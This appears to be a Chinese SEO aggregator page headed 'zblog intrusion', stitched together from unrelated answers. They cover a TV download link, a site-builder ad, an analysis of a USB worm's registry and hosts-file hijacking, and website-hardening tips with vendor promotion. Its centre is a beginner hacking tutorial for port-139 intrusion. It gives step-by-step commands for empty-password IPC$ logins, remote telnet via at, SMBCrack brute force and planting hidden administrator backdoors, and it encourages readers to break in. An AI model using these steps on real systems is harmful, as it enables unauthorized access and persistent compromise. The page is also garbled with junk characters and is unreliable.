zblog入侵（zblog破解）

今天给各位分享zblog入侵的知识，其中也会对zblog破解进行解释，如果能碰巧解决你现在面临的问题，别忘了关注本站，现在开始吧！

本文目录一览：

• 1、求远古入侵1-4季和无耻之徒下载地址或种子
• 2、自己怎么建立个网站
• 3、急~我中了很厉害的病毒~解决了愿意送上所有分
• 4、侵入网站该看什么书
• 5、ZBLOG博客被挂马了怎么办？

求远古入侵1-4季和无耻之徒下载地址或种子

远古入侵 1-5季全集高清完整版视频免费在线观看：

链接:

?pwd=zvka 提取码: zvka

简介:《远古入侵》（Primeval）是一套由英国电视台ITV和Impossible Pictures公司联手打造的科幻电视剧，由汉娜·斯皮尔里特、安德鲁·李·波兹等人主演。

该剧讲述了一组由不同人物组成的队伍，负责处理英国境内的异常点和从异常点进入现代的古代或未来生物以及对抗企图利用这些生物的坏人的故事。 2013年5月4日，该剧在CCTV-8引进首播。

自己怎么建立个网站

做网站的流程

1、注册域名

网站建设基本流程的第一步，申请域名，域名就是一个网站的网址，一个好的网站当然应该具备一个简洁好记的域名，我们常见的域名是.com或.cn，也比较建议注册这种，一些比较奇葩的非主流域名就不要尝试了。域名并不贵，一般也就几十块钱一年。申请域名现在可以有许多渠道，像第三方建站平台也可以注册域名。

2、确定网站主题

网站的主题方向非常重要，你建立这个网站的目的是什么？主要面向什么群体？网站是做电商？公益？艺术展示？还是教育？……这些都要提前想清楚，有了主题，你才好确定自己的网站要走什么风格，以及网站的结构、栏目设置、风格颜色、文字图片的组合等。主题是网站的灵魂，在开始建站前，我们必须做到心里有数。

3、选择合适的建站方式

通常来讲，网站的建立需要编程、写代码，如果你有基础，且不怕麻烦，可以花费大量的时间学习HTML，CSS等知识，做一个自己的网站。

如果非专业人士这样去学就没有必要，对于不懂代码的小白来讲，可以到一些建站网站使用模板一键建站，就像凡科建站，海量模板。

4、开始搭建自己的网站

选择好合适的自助建站平台后，就可以好好搭建网站了。打开线上建站网站，选择一个自己需要的模板，进入模板编辑页面。编辑过程中可以随时预览网站效果，审核通过后就能看到自己的网站了。

5、测试网站

网站上线之后，要测试看看有没有bug，浏览是否顺畅，速度是不是够快？要保证访客有比较好的浏览体验。

6、优化维护

这是网站建设流程中很重要的一步，也是最容易被忘记的一步。对网站进行进一步的排版、美化、修饰，如果需要，你可以多学习一些PS和UI知识。不要忘了对网站的维护更新，要经常优化网站内容，让网站布局更合理，听取访客意见，这样你的网站才会更受欢迎，也能够有一个比较好的搜索排名。

建网站上凡科建站，海量模板素材/丰富功能控件/拖拽式自由操作/后续维护便利，四站合一不懂代码也能快速搭建精美网站。

3000+模板任你选！点击这里获取简单快捷的网站制作工具：凡科建站

急~我中了很厉害的病毒~解决了愿意送上所有分

这是被镜像劫持了。病毒通过修改注册表来屏蔽对手的软件及网站。只要相关杀软的网络IP被列入注册表被禁止项就无法打开该网站。（一打开就自动关闭）把相关的注册表项删掉后杀毒就好了。具体如Image File Execution Options (IFEO in short)劫持

一、典型症状：双击某些可执行程序无法正常执行（或者说执行了没看到预期的结果）但改一个名字就可以。

二、典型案例：OSO.exe新变种60{.exe 美女游戏.pif （转载如下）

============================= 转载Start================================

OSO.exe 新变种

这是OSO.exe,美女游戏.pif,重要资料.exe的又一个新变种，以前截获的样本名为Worm.Pabug.ck ,这次由用户上报的病毒瑞星，金山均没有命名，但在病毒行为上大同小异。以下是具体分析：

此样本于2007年02月01日截获，跟上次的变种一样是采用记事本的图标，是一类IFEO映象劫持病毒。（变种不同这处用红色加粗标识）

病毒行为分析：病毒运行后，会不断打开run time error的消息提示，直到系统资源耗尽，当然用任务管理器，结束error窗口可暂时减少提示的生成。生成文件如下：（以系统盘为C盘，XP SP2为例）oso.exe的分析：生成文件：C:\WINDOWS\system32\drivers\60{.exe 38,510

C:\WINDOWS\system32\drivers\conime.exe 38,510

C:\WINDOWS\system32\severe.exe 38510

C:\WINDOWS\system32\.exe 38510

C:\WINDOWS\system32\.dll 38400C:\WINDOWS\system32\hx1.dat 生成运行后自删除 C:\WINDOWS\system32\noruns.reg 生成运行后自删除

C:\WINDOWS\system32\kakatool.dll 删除卡卡助手的动态链接库C:\WINDOWS\system32\drivers\etc\Hosts 1,465 字节 修改HOSTS文件，屏避对手的网站：127.0.0.1 localhost

127.0.0.1 mmsk.cn

127.0.0.1 ikaka.com

127.0.0.1 safe.qq.com

127.0.0.1 360safe.com

127.0.0.1

127.0.0.1

127.0.0.1 tool.ikaka.com

127.0.0.1

127.0.0.1 zs.kingsoft.com

127.0.0.1 forum.ikaka.com

127.0.0.1 up.rising.com.cn

127.0.0.1 scan.kingsoft.com

127.0.0.1 kvup.jiangmin.com

127.0.0.1 reg.rising.com.cn

127.0.0.1 update.rising.com.cn

127.0.0.1 update7.jiangmin.com

127.0.0.1 download.rising.com.cn

127.0.0.1 dnl-us1.kaspersky-labs.com

127.0.0.1 dnl-us2.kaspersky-labs.com

127.0.0.1 dnl-us3.kaspersky-labs.com

127.0.0.1 dnl-us4.kaspersky-labs.com

127.0.0.1 dnl-us5.kaspersky-labs.com

127.0.0.1 dnl-us6.kaspersky-labs.com

127.0.0.1 dnl-us7.kaspersky-labs.com

127.0.0.1 dnl-us8.kaspersky-labs.com

127.0.0.1 dnl-us9.kaspersky-labs.com

127.0.0.1 dnl-us10.kaspersky-labs.com

127.0.0.1 dnl-eu1.kaspersky-labs.com

127.0.0.1 dnl-eu2.kaspersky-labs.com

127.0.0.1 dnl-eu3.kaspersky-labs.com

127.0.0.1 dnl-eu4.kaspersky-labs.com

127.0.0.1 dnl-eu5.kaspersky-labs.com

127.0.0.1 dnl-eu6.kaspersky-labs.com

127.0.0.1 dnl-eu7.kaspersky-labs.com

127.0.0.1 dnl-eu8.kaspersky-labs.com

127.0.0.1 dnl-eu9.kaspersky-labs.com

127.0.0.1 dnl-eu10.kaspersky-labs.com

X:\autorun.inf (X在此指非系统盘，不包括移动设备)

X:\oso.exe (X在此指非系统盘，不包括移动设备)

U:\autorun.inf (U指移动设备 )

U:\oso.exe

U:\重要资料.exe

U:\美女游戏.pif 注册表修改情况：添加自启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

60{

C:\WINDOWS\system32\.exe－－－－－－－－－－－－－－－－－－－－－HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

@ －－－默认项

C:\WINDOWS\system32\severe.exe被映象劫持的软件名列表（这次被劫持和软件名多了NOD32杀毒软件和EGHOST） HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe

Debugger

C:\WINDOWS\system32\drivers\60{.exe 都是指向此项，以下不一一列述

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\adam.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.com

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IceSword.exeHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EGHOST.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iparmo.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kabaload.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KRegEx.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KvDetect.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVMonXP.kxp

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KvXP.kxp

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MagicSet.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmsk.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.com

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exeHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NOD32.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PFW.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PFWLiveUpdate.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQDoctor.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ras.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rav.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMon.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.com

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runiep.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SREng.EXE

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrojDie.kxp

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WoptiClean.exe

用一个批处理hx1.dat修改系统时间为2004-1-22 使防病毒软件失效 由于此病毒修改的内容较多手动修复相当麻烦，U盘病毒专杀工具USBCleaner可彻底清除此病毒。此版本已在之官方网站发布，欢迎下载使用！ 永久转向域名：友情提示：U盘病毒专杀工具USBCleaner 为免费绿色的查杀U盘类病毒木马的小工具

============================= 转载End================================

三、解决方法：

可以手动删除添加的非法 IFEO 劫持项目，重启后即可。

具体方法：

1、进入系统目录。例如 C:\windows

2、找到 regedit.exe ，复制，粘贴 ，运行“附件 regedit.exe”

3、按上面说的方法删除相应的被劫持项目即可。

四、提示：

防止Image File Execution Options hijack(映象劫持)的方法是通过在SSM等行为防火墙中添加一条注册表的监控规则（如下图）来防御，具体可google ，或点此此处链接。

下：

侵入网站该看什么书

黑客新手教程--入侵

2006-11-12 08:42:34 / 天气: 晴朗 / 心情: 高兴

我的日志

对于刚刚学习黑客技术的朋友，时常会觉得无从下手，网上的教程满天飞，但即实用又贴近初学者的却不多，我现在就来讲讲通过139端口的入侵。考虑到大家可能对许多相关知识并不熟悉，因此我的文章分为两个部份：第一部份是相关知识的介绍，第二部份是通过一次实例，详细讲述入侵过程和各种命令的运用。现在，let's go。

5e@pf9~)I0 第一部份：知识介绍爱好者博墅M t8pM+bnX,_

(1)什么是端口

i;eSN#v)Mf0 端口是各种程序为了接收和发送数据而开的“窗户”，程序需要它来与外界进行通讯，你可以把它想象成一个邮箱，我要传递消息给你，我就会把消息放到你的邮箱里。你要得到消息，你只需要打开邮箱把消息拿出来。同样，别的计算机为了和你的机器通讯，会把数据发到你的机器的端口上，计算机读取端口就可以得到数据。

0qn$jxW8R'h0 (2)端口是唯一的吗？

d h S F~p1j Q+Z0K0 端口不是唯一的。端口分两种：TCP端口和UDP端口，每种端口最多有65535个，分别用自然数1～65535编号。这里我不解释TCP端口和UDP端口有什么不同，你只须要知道不同的端口对应不同的程序，每个程序只能只能读取发送到属于自己端口上的数据。举个例子，hi.exe打开TCP6500端口，如果我把数据发送到TCP6501端口或是UDP6500端口，hi.exe都接收不到，只有发送到TCP6500端口的数据hi.exe才能接收。爱好者博墅t@#gN1P1BBS]

(3)TCP139端口的作用

\+g6k@"]0 TCP139是用于网络共享的端口，只有当一台计算机开放了TCP139端口时别的计算机才能访问其上的共享文件。但是在Windows 2000/ NT/ XP中，TCP139端口还有一个重要的作用：远程管理连接(IPC$,Admin$),这是微软为了方便管理员对远程计算机的管理而特意设置的。为了能够成功地建立IPC$(远程管理)连接，你需要管理员的用户名和密码，这也是基于139端口入侵的重点，只要我们得到了远程计算机的密码，再通过139端口进行IPC$连接，我们就完全控制了远程的计算机。

nSl;c)x_}y0 (4)必要命令的详解和相关工具的使用

st q'l(@SrC0b0 首先必须说明，为了你能在黑客道路上成长起来，拆了你的Win98,装上Windows2000吧，以下我所写的命令和工具大多仅适用于Windows2000/ NT/ XP。

P @7i~]4W0 点击开始→运行，输入cmd.exe,跳出一个命令行窗口，你可得熟悉它，因为入侵时95%的工作都是在这里完成的。现在，我来介绍成功进行139入侵的几个必要命令：dir,cd,del,copy,net,at。

4p"g,r@duS5|0 dir的作用是列出指定路径下的目录和文件，输入c:\dir c:\ 就会列出C盘下的所有目录和文件，dir c:\winnt\ 列出C盘下winnt文件夹下的目录和文件。dir有3个常用的参数 /p,/a,/s, /p是用来分屏显示列出的文件的，通常某个目录下文件很多，一个屏幕显示不下，我们就会用到/p 如dir c:\ /p。/a是用来显示隐藏的文件、目录的，在Windows里设置一个文件属性为隐藏(假设此文件为c:\a.txt)，然后在命令行下输入dir c:\a.txt，你会发现系统告诉你找不到此文件(file not fount)，而输入dir c:\a.txt /a,你就可以看到隐藏的a.txt了。/s是在入侵时非常有用的一个参数，作用是搜索当前驱动器(C盘，D盘……)，查找指定文件。比如我要删除对方的主页文件index.asp，但不知到这个文件的位置，我们就可以利用dir index.asp /s在各个分区下进行搜索。

C['_^}9U A^0 cd的作用是进入目录，cd c:\winnt\system32 就到了system32目录之中了。不信你可以用dir和dir c:\winnt\system32，得到的结果是一样的，如果你要切换分区，c:\d: 就到了D盘下了，而不用cd d:，这点要注意。爱好者博墅/@Kb/HL;t ?5Q

del的作用是删除文件，del c:\a.txt 就把a.txt 给删了。

;}D |0uU3w0 copy的作用是拷贝文件，这个命令很重要，一定要熟练掌哦。copy c:\a.txt d:\mp3\b.txt 把C盘下的a.txt拷到D盘下的mp3目录下，并重命名为b.txt，注意哦，copy后的文件类型可以是任意的，copy c:\a.exe 就把文件类型改成了可执行文件。当然，a.exe 不会正常运行。爱好者博墅!r` z Bz1IVS Fx

net 命令是139端口入侵的重中之重，整个入侵过程会多次用到它。在命令行窗口下输入net，可以看到有一大堆参数，别被这一大堆参数吓怀了，现在我来为你一一讲解。

s C+Ay5? Y.}y0 net use

'qFqi ve0net use 命令用于与远程主机建立IPC$(管理)连接，当你有远程计算机的用户名(通常用户名为administrator,记住它)和密码时，在命令行窗口下输入net use\\IP\IPC$"password"/user:administrator，你就成功地建立了与远程计算机的连接。在这之后，可以对其进行管理了。net use 还有一个用处，即映射远程机器的共享资源，输入net use z: \\IP\C$ (注意！在此之后的一切命令都是基于第一个命令的，也就是说必须先建立IPC$连接后，这些命令才会成功)，打开“我的电脑”，你会发现多了一个Z盘，里面全是远程主机C盘下的东西，你在Z盘里删除了一个文件，对方C盘下的这个文件就也被删除了，所有对Z盘的操作其实就是对远程计算机的C 盘的操作。怎么样，是不是很有意思呢？爱好者博墅/^)o!e]L6{2z

net view爱好者博墅/v-o?MN'I.H

net view 用于查看远程计算机有哪些共享资源，通常你会看到my document之类的共享文件夹，输入net view \\IP即可。我个人认为net view 没有太大用处，要知道，在Windows2000中，各个硬盘都是共享的，但是如果你用net view 来查看，你会发现并无C,D,E 之类的共享资源。这是为什么呢？注意，在这之前的一些命令中，我们曾输入过IPC$,C$这样的奇怪东西，其实，Windows2000中，带"$"后缀的共享资源是隐藏的，在命令行窗口下是无法看到的，Windows2000中各个盘都是以诸如C$,D$,E$ 这样的名称共享的，所以我们看不到，但确实存在，IPC$也是如此。爱好者博墅 J+NAy?sFt9F#Q

net share

*Y,\ IP"h.?;I8l~ H0net share 用于开放共享，输入net share QQ=c:\tencent，你会发现多了一个名为QQ的共享资源。这个命令有慎么作用呢？假设一个主机安全做的不错，关闭了IPC$,C$,D$ 等共享，那么我们就无法在139端口上建立管理连接，也无法访问对方的C盘，当我们通过别的手段进入后(如远程溢出)，我们就可以用net share 开放IPC$，从而转为熟悉的139端口的入侵，开放IPC$ 的命令为net share IPC$。相应的，如果你想关闭共享，你可以加上/del 后缀，例如net share c$ /del 就关闭了C盘的共享。爱好者博墅%b`rn0ja

net user爱好者博墅"q"R7p Qy"EO

net user 命令用于管理主机上的用户，仅输入不带任何参数的net user 会列出计算机上所有的用户名。现在就让我们看看net user 命令是如何对用户进行操作的。 爱好者博墅8y1d.Ur}kUs X

┎———————————————————————————————————————————————————————┒

6yYI#czO0 ┃ net user hacker 12345 /add 建立一个名为hacker，密码为12345的用户。 ┃

4LFNKBuV*v0 ┃ net user hacker /del 删除名为hacker的用户。 ┃ 爱好者博墅9iY%U1fI9Q;ypb'E

┃ net user hacker /active:no 禁用hacker这个用户，这个用户不能再登陆此计算机。 ┃爱好者博墅1C0q@ w[,zq*qR

┃ net user hacker /active:yes 激活已禁用的hacker这个用户。 ┃ 爱好者博墅;o#\4d#c;H,G

┃ net localgroup administrator hacker /add 把hacker这个用户添加进管理员组，即提升hacker的权限，使之变为管理员 ┃

L5B.S XzK~"r%qO0┖———————————————————————————————————————————————————————┚

3\|;h aU,]0net start / net stop

iC!ok n0net start / net stop 命令用于起动/停止系统服务，通常我们会net stop w3svc (停止网页服务)，然后替换网页，对此命令我不多讲，知道即可。爱好者博墅"`k,H5au'S;O;U

*at 命令，net time

"g|?\f;VJ0之所以把它们放在一起来讲，是因为at命令要用到net time命令的结果，一般我们先 net view \\ip,得到远程主机的时间(假设得到的时间为9:00)，然后at \\ip 9:00 telnet 就启动了telnet服务，at这个命令就是用来远程运行程序的.

(5)需要准备的工具

p'ZXeY5z"j0 肉鸡猎手v1.0 扫描一个网段，找出弱密码的计算机爱好者博墅v8|+rMNO4YYFus

SMBCrack 针对特定主机，暴力猜解密码爱好者博墅 ^,f]cRs+n

DameWare Mini Remote Control 监控运程屏幕

~f9b fy#i"o0 CA.exe 克隆管理员账号

第二部份：入侵实例

,Kz/K ?#Hbw/k0今天打星际，被一高手反复摧残，郁闷ing……于是上网活动一下。打开肉鸡猎手，在开始IP和结束IP中填入想扫描的IP端，点击开始，不一会儿之后，两台肉鸡出现在我们面前(图一)。现在，让我们点击“开始”→“运行”→cmd.exe，打开可爱的命令行窗口。输入：net use \\218.80.236.37\IPC$ "" /user:administrator，提示“命令成功完成”。哈哈，现在我们就建立好了IPC$(远程管理连接)，再来，取得远程主机时间：net time \\218.80.236.37 显示: \\218.80.236.37 的当前时间是 2003/5/22 上午 10:32。然后用at命令启动远程主机的telent服务，at \\218.80.236.37 10:32 telent，方便我们登陆远程主机。(注意! 建立IPC$连接和登陆远程主机是截然不同的两个概念，建立IPC$是为了能够使用at 命令来启动telent服务，几乎所有的命令都是在登陆远程主机之后使用，否则都是对你自己的计算机操作。)然后，telent 218.80.236.37 23，出现如图提示窗口(图二)，敲入administrator 回车两次，出现了命令提示符，现在开始我们敲入的命令都会在远程计算机上执行。先输入net user 看看有哪些用户，这里我们只发现了administrator,guest,Iuser_KiKi三个用户，考虑到下次进入该主机时用户可能已经更改了administrator 的密码，为了能够顺利地再次进入，我们需要留下一个小后门。通常我们会这样做，输入net user guest/active:yes 激活guest 用户(guest用户系统内置的，因此每台计算机上都有，默认禁用此用户)。net user guest 12345 更改guest的密码为12345，net localgroup administrators guest /add 把guest的权限提升为管理员权限，这样下次来的时后可以取得对远程主机的完全控制权。留好了后门之后，你可以好好地在他的机子上逛一圈，看看有没有什么有趣的东西，顺便把你刚学的命临实际操作一下。如果你觉得命令行实在不方便，那么跟我来，我将带你进入丰富多采的图形界面。现在，在命临行窗口下输入exit，显示“断开远程主机的连接”，我们用exit这个命令离开了远程主机，回到自己的机器上，点击载下来的DameWare，出现如图所示界面(图三)，在"host name"里填上对方IP，输入用户名administrator和密码(现在密码为空，所以不填)，点击"Connect"，然后等待DameWare拷贝文件，启动服务等一系列动作完成。一会而之后，出现如图(图四)窗口，里面现示的就是远程主机的桌面，别人的一举一动你都可以看见，你还可以接管他的鼠标，是不是挺有意思的呢？但是记住，我们是来学习技术的，并不是来破坏的，所以千万别做什么坏事哦。爱好者博墅"W e!Y8De

文章写到这里就告一段落了，其实对于入侵实例，有几点我想特别提一下：

#s3c#J7{6`DoD0 (1)肉鸡猎手只能搜密码为空的主机，所以只能一开始让我们练练手。一般要对139端口攻击，我们使用SMBCrack这个软件，它是针对一台主机进行密码的暴力猜解的，速度非常快，在我机器上猜了24万个密码只用了半小时左右，命令行窗口下输入smbcrack 218.80.236.37 administrator words.txt 139 就开始猜解密码了。218.80.236.37这里改为你要攻击的IP，words.txt是字典，里面含有很多口令，你可以自己上网找找，好的字典能提高入侵的成功率。爱好者博墅-B4ejtb'a-S0Dr$A

(2)telent上对方的机器后，我们为了更加隐蔽地留下后门，常常使用CA.exe，CA是(clone administrator)的缩写，看名字你就应该知道，它可以把其它用户克隆成管理员，CA.exe \\218.80.236.37 Administrator Password IUSR_VICTIM SetNewPass，把IUSR_VICTIM克隆成为管理员，密码是SetNewPass,克隆完成之后，一般是无法发现的，所以隐蔽性非常高。爱好者博墅.d Yk$RrIC9?

(3)at 这个命令有点搞笑，很多人先net view \\IP 看了时间后，再用at 来启动对方程序却常常失败，这是因为很多人都不知道，用net view \\IP 得到的时间不能直接用于at，这涉及到+12的问题，如果你看到对方的时间是 下午 3:00，那么at 应该这样使用at \\IP 15:00 telent。爱好者博墅8C,Q7Jr*M

好了，就说到这里了。相信看了本文之后，各位都能够成功地对139端口进行入侵，至于进去之后做什么，各位就自己发挥吧。

ZBLOG博客被挂马了怎么办？

删除了还有，那就是网站有漏洞，网站安全没有做好，你把漏洞这个根清除掉，才会彻底解决挂马，我公司网站之前用的也是ZBLOG的程序，当时被挂了黑链，删除了后过了不一会就又出现了，百度搜索我的页面出现了许多恶意的内容快照，当时对安全也不懂，朋友推荐找Sine安全公司，找了他们把网站漏洞修复了，网站代码审计后。网站被挂黑链的问题就得以解决，希望我的经历能帮到楼主，往采纳！

下面是关于安全方面的建议！

建站一段时间后总能听得到什么什么网站被挂马，什么网站被黑。好像入侵挂马似乎是件很简单的事情。其实，入侵不简单，简单的是你的网站的必要安全措施并未做好。

有条件建议找专业做网站安全的sine安全来做安全维护。

一：挂马预防措施：

1、建议用户通过ftp来上传、维护网页，尽量不安装asp的上传程序。

2、定期对网站进行安全的检测，具体可以利用网上一些工具，如sinesafe网站挂马检测工具！

3、asp程序管理员的用户名和密码要有一定复杂性，不能过于简单，还要注意定期更换。

4、到正规网站下载asp程序，下载后要对其数据库名称和存放路径进行修改，数据库文件名称也要有一定复杂性。

5、要尽量保持程序是最新版本。

6、不要在网页上加注后台管理程序登陆页面的链接。

7、为防止程序有未知漏洞，可以在维护后删除后台管理程序的登陆页面，下次维护时再通过ftp上传即可。

8、要时常备份数据库等重要文件。

9、日常要多维护，并注意空间中是否有来历不明的asp文件。记住：一分汗水，换一分安全!

10、一旦发现被入侵，除非自己能识别出所有木马文件，否则要删除所有文件。

11、对asp上传程序的调用一定要进行身份认证，并只允许信任的人使用上传程序。这其中包括各种新闻发布、商城及论坛。

二：挂马恢复措施：

1.修改帐号密码

不管是商业或不是，初始密码多半都是admin。因此你接到网站程序第一件事情就是“修改帐号密码”。

帐号密码就不要在使用以前你习惯的，换点特别的。尽量将字母数字及符号一起。此外密码最好超过15位。尚若你使用SQL的话应该使用特别点的帐号密码，不要在使用什么什么admin之类，否则很容易被入侵。

2.创建一个robots.txt

Robots能够有效的防范利用搜索引擎窃取信息的骇客。

3.修改后台文件

第一步：修改后台里的验证文件的名称。

第二步：修改conn.asp，防止非法下载，也可对数据库加密后在修改conn.asp。

第三步：修改ACESS数据库名称，越复杂越好，可以的话将数据所在目录的换一下。

4.限制登陆后台IP

此方法是最有效的，每位虚拟主机用户应该都有个功能。你的IP不固定的话就麻烦点每次改一下咯，安全第一嘛。

5.自定义404页面及自定义传送ASP错误信息

404能够让骇客批量查找你的后台一些重要文件及检查网页是否存在注入漏洞。

ASP错误嘛，可能会向不明来意者传送对方想要的信息。

6.慎重选择网站程序

注意一下网站程序是否本身存在漏洞，好坏你我心里该有把秤。

7.谨慎上传漏洞

据悉，上传漏洞往往是最简单也是最严重的，能够让黑客或骇客们轻松控制你的网站。

可以禁止上传或着限制上传的文件类型。不懂的话可以找专业做网站安全的sinesafe公司。

8. cookie 保护

登陆时尽量不要去访问其他站点，以防止 cookie 泄密。切记退出时要点退出在关闭所有浏览器。

9.目录权限

请管理员设置好一些重要的目录权限，防止非正常的访问。如不要给上传目录执行脚本权限及不要给非上传目录给于写入权。

10.自我测试

如今在网上黑客工具一箩筐，不防找一些来测试下你的网站是否OK。

11.例行维护

a.定期备份数据。最好每日备份一次，下载了备份文件后应该及时删除主机上的备份文件。

b.定期更改数据库的名字及管理员帐密。

c.借WEB或FTP管理，查看所有目录体积，最后修改时间以及文件数，检查是文件是否有异常，以及查看是否有异常的账号。

网站被挂马一般都是网站程序存在漏洞或者服务器安全性能不达标被不法黑客入侵攻击而挂马的。

网站被挂马是普遍存在现象然而也是每一个网站运营者的心腹之患。

您是否因为网站和服务器天天被入侵挂马等问题也曾有过想放弃的想法呢，您否也因为不太了解网站技术的问题而耽误了网站的运营，您是否也因为精心运营的网站反反复复被一些无聊的黑客入侵挂马感到徬彷且很无耐。有条件建议找专业做网站安全的sine安全来做安全维护。

关于zblog入侵和zblog破解的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。